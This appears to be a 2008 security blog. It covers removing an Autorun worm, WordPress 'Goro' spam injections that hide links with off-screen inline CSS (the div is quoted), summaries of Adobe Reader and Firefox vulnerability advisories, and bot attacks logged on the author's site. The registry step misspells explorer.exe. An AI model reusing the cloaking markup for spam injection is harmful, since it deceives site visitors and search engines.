Yesterday I got a new type of “Stupid Worm” hidding in background as xmss.exe. It copied itself on Local disk and Windows Directory (%Windir%). Terminated “Windows Task Manager”, Windows Command Prompt (DOS-Prompt) & crashed System Internal Process Explorer (procxp.exe).

Its not a funny video

According to McAfee, this worm is known as W32/Autorun.worm.g.

It can propagate itself over removable media and network drives and cause execution of malicious code via an autorun.inf file.

XMSS.exe Win32 AutoRun Files

• x:autorun.inf
• x:xmss.exe
• x:Funny UST Scandal.avi.exe
• %Windir%\autorun.inf
• %Windir%\xmss.exe
• %Windir%\Funny UST Scandal.avi.exe

Fixes Win32 AutoRun.* Worm

Here’s a few step to prevent Win32 AutoRun Worm.

1. Disabled System Restore for Temporary - KB 264887
2. Boot Windows in Safe Mode - KB 315222

3. In Windows Safe Mode, Open Windows Registry Editor

   Windows Start > Run > Regedit

4. Browse to the following registry settings ↓

   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

5. Replace
   explorer.exe, xmss.exe with exporer.exe
   
6. Delete all the following files
   • C\autorun.inf
   • C\xmss.exe
   • C\Funny UST Scandal.avi.exe
   • X:\autorun.inf
   • X:\xmss.exe
   • X:\Funny UST Scandal.avi.exe
   • %Windir%\autorun.inf
   • %Windir%\xmss.exe
   • %Windir%\Funny UST Scandal.avi.exe

   %Windir% refers to the Windows folder (e.g. C:\Windows, C:\WindowsNT) and X: is drive letters used by a removable or network drive

7. Clean All Windows Temporary Files
8. Restart Windows

I’ve been monitoring mattheaton.com “wordpress.net.in goro spam injections” for this past few months. Noticeably, the blackhat spamming method is changing dramatically. For those who are still unaware of Wordpress Goro Spam please read my earlier post → Wordpress.net.in Spam injection& Gaming Bluehost & Hostmonster CEO’s Blog.

thinkingphp.org (PR6) & jensfrake.com (PR7) has been hijacked by “Wordpress Blackhat SEO Spammer” for this month. Both sites were running on WordPress 2.3.2.

By now the <div id=”goro”> signature has been replaced with “Inline CSS” wrapper.

Cloacking Check on Mattheaton.com

Normal Browser

32,246 characters - mattheaton-com-source.txt

While scanning jensfrake.com their server return 400-500 error, so we had to scan his (clone) subdomain blog.jensfrake.com instead of the main site

This time around, you wont see the spam on both of this website, all the spam links is position out of the client view-port (top -3337px, left -2227px).

another mathematical jokes, l33t.

<div style="left: -2227px; position: absolute; top: -3337px">

What’s new with Goro spam 2008

• WordPress <= 2.3.2 is vulnerable to this attack.
• Inject Spamlinks wrap with extra Inline CSS for cloacking
• Target High PR Sites → PR5 and above

• Firefox 2.0.0.12 Information Leak POC

A JavaScript Buffer Overflow in Adobe Acrobat, Acrobat 3D & Reader allowed remote attacker to execute arbitrary code. The code will run with the privileges of the target user opening the PDF document.

Excerpt from iDefense Public Advisory;

Adobe Reader and Acrobat implement a version of JavaScript in the EScript.api plug-in which is based on the reference implementation used in Mozilla products. One of the methods exposed allows direct control over low level features of the object, which in turn allows execution of arbitrary code.

Workaround

Disabled Adobe Reader & Acrobat JavaScript. Perform Update ↓

Update -Adobe Acrobat & Reader version 8.1.2

Adobe released version 8.1.2 of Adobe Reader, Acrobat & Acrobat 3D to address
these vulnerabilities.

• Adobe Reader 7 and 8 users update to Adobe Reader 8.1.2
• Acrobat 8 users on Windows update to Acrobat 8.1.2
• Acrobat 8 users on Macintosh update to Acrobat 8.1.2
• Acrobat 3D version 8 users on Windows update to Acrobat 3D version 8.1.2

These vulnerabilities were discovered by Greg MacManus of VeriSign iDefense Labs.

Known Vulnerabilities in Mozilla Products (Firefox 2.0.0.11)

MFSA 2008-11

Web forgery overwrite with div overlay

Descriptions

Security researchers Emil Ljungdahl and Lars-Olof Moilanen demonstrated that, in cases where the entire contents of a page are enclosed in a <div> with absolute positioning, a web forgery warning dialog won’t be displayed unless the user switches tabs away-from then back-to the forgery page.

References

• Web forgery warning not shown until tab switch
• National Vulnerability Database (NVD) - CVE-2008-0594

MFSA 2008-10

URL token stealing via stylesheet redirect

Descriptions

Security researcher Martin Straka reported that Gecko-based browsers update the .href property of stylesheet DOM nodes to reflect the final URI of the stylesheet after following any 302 redirects (much as the document.location property is updated). This differs from other browsers and could potentially reveal sensitive URL parameters, such as those used by Single-signon sytems, to scripts on the page.

References

• Stylesheet href property shows redirected URL unlike other browsers
• National Vulnerability Database (NVD) - CVE-2008-0593

MFSA 2008-09

Mishandling of locally-saved plain text files

Descriptions

Mozilla contributor oo.rio.oo demonstrated that once a file with Content-Disposition: attachment and (improper) Content-Type: plain/text is saved locally, the browser would no longer open local files with .txt extensions for viewing, but would rather prompt the user to save the file.

References

• plain text txt file viewing capability lost after having downloaded a txt file with content-disposition: attachment and content-type: plain/text
• National Vulnerability Database (NVD) - CVE-2008-0592

MFSA 2008-08

File action dialog tampering

Descriptions

Security researcher Michal Zalewski demonstrated that timer-enabled security dialogs can be subverted by attackers using JavaScript to change the window focus. Zalewski showed that a user could be tricked into confirming a security dialog of this type by bringing the dialog back into focus right before a user clicked in a predictable time and place.

References

• file action dialog controls vulnerable to refocus race
• National Vulnerability Database (NVD) - CVE-2008-0591

MFSA 2008-06

Web browsing history and forward navigation stealing

Descriptions

Mozilla contributor David Bloom reported a vulnerability in the way images are treated by the browser when a user leaves a page which utilizes designMode frames. The reported issue can be used to steal a user’s navigation history, forward navigation information, and crash the user’s browser. The crash showed evidence of memory corruption and might be exploitable to run arbitrary code.

References

• Vulnerability allows script to see where user is headed, sniff history, and crash [@ nsDocShell::Destroy()] the browser too
• National Vulnerability Database (NVD) - CVE-2008-0419

MFSA 2008-05

Directory traversal via chrome: URI

Descriptions

Gerry Eisenhaur reported the chrome: URI scheme improperly allowed directory traversal that could be used to load JavaScript, images, and stylesheets from local files in known locations. This traversal was possible only when the browser had installed add-ons which used “flat” packaging rather than the more popular .jar packaging, and the attacker would need to target that specific add-on.

Mozilla researcher moz_bug_r_a4 reported that this vulnerability could be used to steal the contents of the browser’s sessionstore.js file, which contains session cookie data and information about currently open web pages.

References

• Allows to steal data from sessionstore.js
• chrome directory traversal (local disk access via “flat” addons)
• list of “flat” packaged add-ons
• National Vulnerability Database (NVD) - CVE-2008-0418

MFSA 2008-04

Stored password corruption

Descriptions

Mozilla developer Justin Dolske discovered that malicious sites, upon a user saving his or her password, could inject newlines into Firefox’s password store and corrupt saved passwords for other sites.

References

• Content can corrupt stored passwords by injecting line breaks
• National Vulnerability Database (NVD) - CVE-2008-0417

MFSA 2008-03

Privilege escalation, XSS, Remote Code Execution

Descriptions

Mozilla contributors moz_bug_r_a4 and Boris Zbarsky submitted a series of vulnerabilities which allow scripts from page content to escape from its sandboxed context and/or run with chrome privileges. An additional vulnerability reported by moz_bug_r_a4 demonstrated that the XMLDocument.load() function can be used to inject script into another site, violating the browser’s same-origin policy.

• National Vulnerability Database (NVD) - CVE-2008-0415

MFSA 2008-02

Multiple file input focus stealing vulnerabilities

Descriptions

Security researchers hong and Gregory Fleisher each reported a variant on earlier reported bugs regarding focus shifting in file input controls. Their variants used file input controls nested inside <label> tags to take advantage of automatic focus shifting into the file input field noted on the Hacker WebZine. As with the earlier reported issues this issue could be used to force a user to upload arbitrary files assuming the attacker knows the full path and name of the file.

These bugs are variations on earlier problems reported by Charles McAuley and Michal Zalewski which were fixed in Firefox 2.0.0.4, as well as an issue reported by hong which was fixed in Firefox 2.0.0.8.
Gregory Fleisher also submitted a series of demonstrations of different ways to lure a user to place focus into the file input control manually. These demonstrations included “focus spoofing” by selectively capturing keystrokes and placing the captured characters where the user thinks the focus should be.

MFSA 2008-01

Crashes with evidence of memory corruption (rv:1.8.1.12)

Descriptions

Mozilla developers identified and fixed several stability bugs in the browser engine used in Firefox 2.0.0.12 and other Mozilla-based products. Some of these crashes showed evidence of memory corruption under certain circumstances and we presume that with enough effort at least some of these could be exploited to run arbitrary code.

Thunderbird shares the browser engine with Firefox and could be vulnerable if JavaScript were to be enabled in mail. This is not the default setting and we strongly discourage users from running JavaScript in mail. Without further investigation we cannot rule out the possibility that for some of these an attacker might be able to prepare memory for exploitation through some means other than JavaScript such as large images.

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release. There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓. The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?). The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/. I send the attacker data to abuse network and IronPort.

The next few hours we received 20 attack from the same bot-herder. They probably has a large scale of DDNS (china → korea → us ). Noticeably the scans pattern is predictable. From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL.
